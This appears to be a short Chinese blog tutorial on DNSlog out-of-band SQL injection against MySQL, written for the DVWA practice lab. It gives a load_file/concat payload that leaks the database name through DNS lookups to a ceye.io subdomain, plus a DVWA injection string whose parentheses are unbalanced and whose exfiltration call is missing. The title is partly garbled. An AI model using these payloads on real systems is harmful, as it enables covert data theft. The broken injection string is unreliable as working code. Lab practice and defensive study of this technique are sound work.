DNSlog注?利?(MYSQL)

一、是什么?

  DNSLog ?于监测 DNS 和 HTTP 访问记录,可通过HTTP请求,让?标主机主动请求 DNSLog API 地址,有相应的解析记录,则可判定为存在相应的漏洞。

二、应用场景

  简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

三、DNS网址

  ceye.io   提供DNSlog、HTTP等的查询服务

  sso.telnet404.com  注册网址

 

四、基本步骤

  1.复制个人标识符XXX.ceye.io,替换语句,回车之后有延迟表示成功访问

  2.在ceye.io网站查看解析

五、语句 

    核心:select load_file(concat(‘\\\\‘,hex((select database())),‘.XXX.ceye.io\\abv‘)); //hex是为了避免出现-,/等特殊字符

六、DVWA实战

   实际应用的时候,直接用核心语句肯定是不行的,需要先做好信息收集,根据网站源代码进行具体的分析与构建语句,比如判断、闭合与注释什么的的。

  语句:1‘ and if((select schema_name from information_schema.schemata limit 0,1)),‘.XXX.ceye.io\\abv‘))),1,0) And ‘1‘=‘1 //两条语句可以用and操作符连接,但是and 与select不能直接连接,所以需要if函来承接,返回结果不重要,执行语句最重要。

   

    

    

  

DNSlog注?利?(MYSQL)

上一篇:linux (gdb调试)


下一篇:MySQL存储引擎